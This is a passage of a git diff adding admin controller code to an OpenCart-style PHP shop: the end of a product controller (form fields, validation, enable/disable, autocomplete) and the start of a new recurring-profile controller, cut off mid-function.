+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($product_info)) {
+ $data['status'] = $product_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($product_info)) {
+ $data['noindex'] = $product_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['weight'])) {
+ $data['weight'] = $this->request->post['weight'];
+ } elseif (!empty($product_info)) {
+ $data['weight'] = $product_info['weight'];
+ } else {
+ $data['weight'] = '';
+ }
+
+ $this->load->model('localisation/weight_class');
+
+ $data['weight_classes'] = $this->model_localisation_weight_class->getWeightClasses();
+
+ if (isset($this->request->post['weight_class_id'])) {
+ $data['weight_class_id'] = $this->request->post['weight_class_id'];
+ } elseif (!empty($product_info)) {
+ $data['weight_class_id'] = $product_info['weight_class_id'];
+ } else {
+ $data['weight_class_id'] = $this->config->get('config_weight_class_id');
+ }
+
+ if (isset($this->request->post['length'])) {
+ $data['length'] = $this->request->post['length'];
+ } elseif (!empty($product_info)) {
+ $data['length'] = $product_info['length'];
+ } else {
+ $data['length'] = '';
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($product_info)) {
+ $data['width'] = $product_info['width'];
+ } else {
+ $data['width'] = '';
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($product_info)) {
+ $data['height'] = $product_info['height'];
+ } else {
+ $data['height'] = '';
+ }
+
+ $this->load->model('localisation/length_class');
+
+ $data['length_classes'] = $this->model_localisation_length_class->getLengthClasses();
+
+ if (isset($this->request->post['length_class_id'])) {
+ $data['length_class_id'] = $this->request->post['length_class_id'];
+ } elseif (!empty($product_info)) {
+ $data['length_class_id'] = $product_info['length_class_id'];
+ } else {
+ $data['length_class_id'] = $this->config->get('config_length_class_id');
+ }
+
+ $this->load->model('catalog/manufacturer');
+
+ if (isset($this->request->post['manufacturer_id'])) {
+ $data['manufacturer_id'] = $this->request->post['manufacturer_id'];
+ } elseif (!empty($product_info)) {
+ $data['manufacturer_id'] = $product_info['manufacturer_id'];
+ } else {
+ $data['manufacturer_id'] = 0;
+ }
+
+ if (isset($this->request->post['manufacturer'])) {
+ $data['manufacturer'] = $this->request->post['manufacturer'];
+ } elseif (!empty($product_info)) {
+ $manufacturer_info = $this->model_catalog_manufacturer->getManufacturer($product_info['manufacturer_id']);
+
+ if ($manufacturer_info) {
+ $data['manufacturer'] = $manufacturer_info['name'];
+ } else {
+ $data['manufacturer'] = '';
+ }
+ } else {
+ $data['manufacturer'] = '';
+ }
+
+ // Categories
+ $this->load->model('catalog/category');
+
+ $data['categories'] = $this->model_catalog_category->getAllCategories();
+
+ if (isset($this->request->post['main_category_id'])) {
+ $data['main_category_id'] = $this->request->post['main_category_id'];
+ } elseif (isset($product_info)) {
+ $data['main_category_id'] = $this->model_catalog_product->getProductMainCategoryId($this->request->get['product_id']);
+ } else {
+ $data['main_category_id'] = 0;
+ }
+
+ if (isset($this->request->post['product_category'])) {
+ $categories = $this->request->post['product_category'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $categories = $this->model_catalog_product->getProductCategories($this->request->get['product_id']);
+ } else {
+ $categories = array();
+ }
+
+ $data['product_categories'] = array();
+
+ foreach ($categories as $category_id) {
+ $category_info = $this->model_catalog_category->getCategory($category_id);
+
+ if ($category_info) {
+ $data['product_categories'][] = array(
+ 'category_id' => $category_info['category_id'],
+ 'name' => ($category_info['path']) ? $category_info['path'] . ' > ' . $category_info['name'] : $category_info['name']
+ );
+ }
+ }
+
+ // Filters
+ $this->load->model('catalog/filter');
+
+ if (isset($this->request->post['product_filter'])) {
+ $filters = $this->request->post['product_filter'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $filters = $this->model_catalog_product->getProductFilters($this->request->get['product_id']);
+ } else {
+ $filters = array();
+ }
+
+ $data['product_filters'] = array();
+
+ foreach ($filters as $filter_id) {
+ $filter_info = $this->model_catalog_filter->getFilter($filter_id);
+
+ if ($filter_info) {
+ $data['product_filters'][] = array(
+ 'filter_id' => $filter_info['filter_id'],
+ 'name' => $filter_info['group'] . ' > ' . $filter_info['name']
+ );
+ }
+ }
+
+ // Attributes
+ $this->load->model('catalog/attribute');
+
+ if (isset($this->request->post['product_attribute'])) {
+ $product_attributes = $this->request->post['product_attribute'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_attributes = $this->model_catalog_product->getProductAttributes($this->request->get['product_id']);
+ } else {
+ $product_attributes = array();
+ }
+
+ $data['product_attributes'] = array();
+
+ foreach ($product_attributes as $product_attribute) {
+ $attribute_info = $this->model_catalog_attribute->getAttribute($product_attribute['attribute_id']);
+
+ if ($attribute_info) {
+ $data['product_attributes'][] = array(
+ 'attribute_id' => $product_attribute['attribute_id'],
+ 'name' => $attribute_info['name'],
+ 'product_attribute_description' => $product_attribute['product_attribute_description']
+ );
+ }
+ }
+
+ // Options
+ $this->load->model('catalog/option');
+
+ if (isset($this->request->post['product_option'])) {
+ $product_options = $this->request->post['product_option'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_options = $this->model_catalog_product->getProductOptions($this->request->get['product_id']);
+ } else {
+ $product_options = array();
+ }
+
+ $data['product_options'] = array();
+
+ foreach ($product_options as $product_option) {
+ $product_option_value_data = array();
+
+ if (isset($product_option['product_option_value'])) {
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $product_option_value_data[] = array(
+ 'product_option_value_id' => $product_option_value['product_option_value_id'],
+ 'option_value_id' => $product_option_value['option_value_id'],
+ 'quantity' => $product_option_value['quantity'],
+ 'subtract' => $product_option_value['subtract'],
+ 'price' => $product_option_value['price'],
+ 'price_prefix' => $product_option_value['price_prefix'],
+ 'points' => $product_option_value['points'],
+ 'points_prefix' => $product_option_value['points_prefix'],
+ 'weight' => $product_option_value['weight'],
+ 'weight_prefix' => $product_option_value['weight_prefix']
+ );
+ }
+ }
+
+ $data['product_options'][] = array(
+ 'product_option_id' => $product_option['product_option_id'],
+ 'product_option_value' => $product_option_value_data,
+ 'option_id' => $product_option['option_id'],
+ 'name' => $product_option['name'],
+ 'type' => $product_option['type'],
+ 'value' => isset($product_option['value']) ? $product_option['value'] : '',
+ 'required' => $product_option['required']
+ );
+ }
+
+ $data['option_values'] = array();
+
+ foreach ($data['product_options'] as $product_option) {
+ if ($product_option['type'] == 'select' || $product_option['type'] == 'radio' || $product_option['type'] == 'checkbox' || $product_option['type'] == 'image') {
+ if (!isset($data['option_values'][$product_option['option_id']])) {
+ $data['option_values'][$product_option['option_id']] = $this->model_catalog_option->getOptionValues($product_option['option_id']);
+ }
+ }
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['product_discount'])) {
+ $product_discounts = $this->request->post['product_discount'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_discounts = $this->model_catalog_product->getProductDiscounts($this->request->get['product_id']);
+ } else {
+ $product_discounts = array();
+ }
+
+ $data['product_discounts'] = array();
+
+ foreach ($product_discounts as $product_discount) {
+ $data['product_discounts'][] = array(
+ 'customer_group_id' => $product_discount['customer_group_id'],
+ 'quantity' => $product_discount['quantity'],
+ 'priority' => $product_discount['priority'],
+ 'price' => $product_discount['price'],
+ 'date_start' => ($product_discount['date_start'] != '0000-00-00') ? $product_discount['date_start'] : '',
+ 'date_end' => ($product_discount['date_end'] != '0000-00-00') ? $product_discount['date_end'] : ''
+ );
+ }
+
+ if (isset($this->request->post['product_special'])) {
+ $product_specials = $this->request->post['product_special'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_specials = $this->model_catalog_product->getProductSpecials($this->request->get['product_id']);
+ } else {
+ $product_specials = array();
+ }
+
+ $data['product_specials'] = array();
+
+ foreach ($product_specials as $product_special) {
+ $data['product_specials'][] = array(
+ 'customer_group_id' => $product_special['customer_group_id'],
+ 'priority' => $product_special['priority'],
+ 'price' => $product_special['price'],
+ 'date_start' => ($product_special['date_start'] != '0000-00-00') ? $product_special['date_start'] : '',
+ 'date_end' => ($product_special['date_end'] != '0000-00-00') ? $product_special['date_end'] : ''
+ );
+ }
+
+ // Image
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($product_info)) {
+ $data['image'] = $product_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($product_info) && is_file(DIR_IMAGE . $product_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($product_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ // Images
+ if (isset($this->request->post['product_image'])) {
+ $product_images = $this->request->post['product_image'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_images = $this->model_catalog_product->getProductImages($this->request->get['product_id']);
+ } else {
+ $product_images = array();
+ }
+
+ $data['product_images'] = array();
+
+ foreach ($product_images as $product_image) {
+ if (is_file(DIR_IMAGE . $product_image['image'])) {
+ $image = $product_image['image'];
+ $thumb = $product_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['product_images'][] = array(
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $product_image['sort_order']
+ );
+ }
+
+ // Downloads
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['product_download'])) {
+ $product_downloads = $this->request->post['product_download'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $product_downloads = $this->model_catalog_product->getProductDownloads($this->request->get['product_id']);
+ } else {
+ $product_downloads = array();
+ }
+
+ $data['product_downloads'] = array();
+
+ foreach ($product_downloads as $download_id) {
+ $download_info = $this->model_catalog_download->getDownload($download_id);
+
+ if ($download_info) {
+ $data['product_downloads'][] = array(
+ 'download_id' => $download_info['download_id'],
+ 'name' => $download_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $products = $this->model_catalog_product->getProductRelated($this->request->get['product_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_relateds'] = array();
+
+ foreach ($products as $product_id) {
+ $related_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($related_info) {
+ $data['product_relateds'][] = array(
+ 'product_id' => $related_info['product_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related_article'])) {
+ $articles = $this->request->post['product_related_article'];
+ } elseif (isset($product_info)) {
+ $articles = $this->model_catalog_product->getArticleRelated($this->request->get['product_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['product_related_article'] = array();
+ $this->load->model('blog/article');
+
+ foreach ($articles as $article_id) {
+ $article_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($article_info) {
+ $data['product_related_article'][] = array(
+ 'article_id' => $article_info['article_id'],
+ 'name' => $article_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['points'])) {
+ $data['points'] = $this->request->post['points'];
+ } elseif (!empty($product_info)) {
+ $data['points'] = $product_info['points'];
+ } else {
+ $data['points'] = '';
+ }
+
+ if (isset($this->request->post['product_reward'])) {
+ $data['product_reward'] = $this->request->post['product_reward'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_reward'] = $this->model_catalog_product->getProductRewards($this->request->get['product_id']);
+ } else {
+ $data['product_reward'] = array();
+ }
+
+ if (isset($this->request->post['product_seo_url'])) {
+ $data['product_seo_url'] = $this->request->post['product_seo_url'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_seo_url'] = $this->model_catalog_product->getProductSeoUrls($this->request->get['product_id']);
+ } else {
+ $data['product_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['product_layout'])) {
+ $data['product_layout'] = $this->request->post['product_layout'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_layout'] = $this->model_catalog_product->getProductLayouts($this->request->get['product_id']);
+ } else {
+ $data['product_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/product_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['product_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['model']) < 1) || (utf8_strlen($this->request->post['model']) > 64)) {
+ $this->error['model'] = $this->language->get('error_model');
+ }
+
+ if (isset($this->request->post['product_seo_url']) && is_array($this->request->post['product_seo_url'])) {
+ foreach ($this->request->post['product_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['product_description'])) {
+ foreach ($this->request->post['product_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['product_seo_url'][0][$language_id]) || trim($this->request->post['product_seo_url'][0][$language_id]) === '') {
+ $this->request->post['product_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['product_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['product_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['product_id']) || (($seo_url['query'] != 'product_id=' . $this->request->get['product_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/product');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/product');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->editProductStatus($product_id, 1);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+ public function disable() {
+ $this->load->language('catalog/product');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/product');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->editProductStatus($product_id, 0);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'catalog/product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name']) || isset($this->request->get['filter_model'])) {
+ $this->load->model('catalog/product');
+ $this->load->model('catalog/option');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $filter_model = $this->request->get['filter_model'];
+ } else {
+ $filter_model = '';
+ }
+
+ if (isset($this->request->get['limit'])) {
+ $limit = (int)$this->request->get['limit'];
+ } else {
+ $limit = $this->config->get('config_limit_autocomplete');
+ }
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_model' => $filter_model,
+ 'start' => 0,
+ 'limit' => $limit
+ );
+
+ $results = $this->model_catalog_product->getProducts($filter_data);
+
+ foreach ($results as $result) {
+ $option_data = array();
+
+ $product_options = $this->model_catalog_product->getProductOptions($result['product_id']);
+
+ foreach ($product_options as $product_option) {
+ $option_info = $this->model_catalog_option->getOption($product_option['option_id']);
+
+ if ($option_info) {
+ $product_option_value_data = array();
+
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $option_value_info = $this->model_catalog_option->getOptionValue($product_option_value['option_value_id']);
+
+ if ($option_value_info) {
+ $product_option_value_data[] = array(
+ 'product_option_value_id' => $product_option_value['product_option_value_id'],
+ 'option_value_id' => $product_option_value['option_value_id'],
+ 'name' => $option_value_info['name'],
+ 'price' => (float)$product_option_value['price'] ? $this->currency->format($product_option_value['price'], $this->config->get('config_currency')) : false,
+ 'price_prefix' => $product_option_value['price_prefix']
+ );
+ }
+ }
+
+ $option_data[] = array(
+ 'product_option_id' => $product_option['product_option_id'],
+ 'product_option_value' => $product_option_value_data,
+ 'option_id' => $product_option['option_id'],
+ 'name' => $option_info['name'],
+ 'type' => $option_info['type'],
+ 'value' => $product_option['value'],
+ 'required' => $product_option['required']
+ );
+ }
+ }
+
+ $json[] = array(
+ 'product_id' => $result['product_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8')),
+ 'model' => $result['model'],
+ 'option' => $option_data,
+ 'price' => $result['price']
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/catalog/recurring.php b/public/admin/controller/catalog/recurring.php
new file mode 100644
index 0000000..2136ed2
--- /dev/null
+++ b/public/admin/controller/catalog/recurring.php
@@ -0,0 +1,514 @@
+load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_recurring->addRecurring($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_recurring->editRecurring($this->request->get['recurring_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $recurring_id) {
+ $this->model_catalog_recurring->deleteRecurring($recurring_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('catalog/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/recurring');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $recurring_id) {
+ $this->model_catalog_recurring->copyRecurring($recurring_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'rd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/recurring/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('catalog/recurring/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/recurring/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['recurrings'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $recurring_total = $this->model_catalog_recurring->getTotalRecurrings();
+
+ $results = $this->model_catalog_recurring->getRecurrings($filter_data);
+
+ foreach ($results as $result) {
+ $data['recurrings'][] = array(
+ 'recurring_id' => $result['recurring_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/recurring/edit', 'user_token=' . $this->session->data['user_token'] . '&recurring_id=' . $result['recurring_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $recurring_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($recurring_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($recurring_total - $this->config->get('config_limit_admin'))) ? $recurring_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $recurring_total, ceil($recurring_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/recurring_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['recurring_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['recurring_id'])) {
+ $data['action'] = $this->url->link('catalog/recurring/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/recurring/edit', 'user_token=' . $this->session->data['user_token'] . '&recurring_id=' . $this->request->get['recurring_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['recurring_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $recurring_info = $this->model_catalog_recurring->getRecurring($this->request->get['recurring_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['recurring_description'])) {
+ $data['recurring_description'] = $this->request->post['recurring_description'];
+ } elseif (!empty($recurring_info)) {
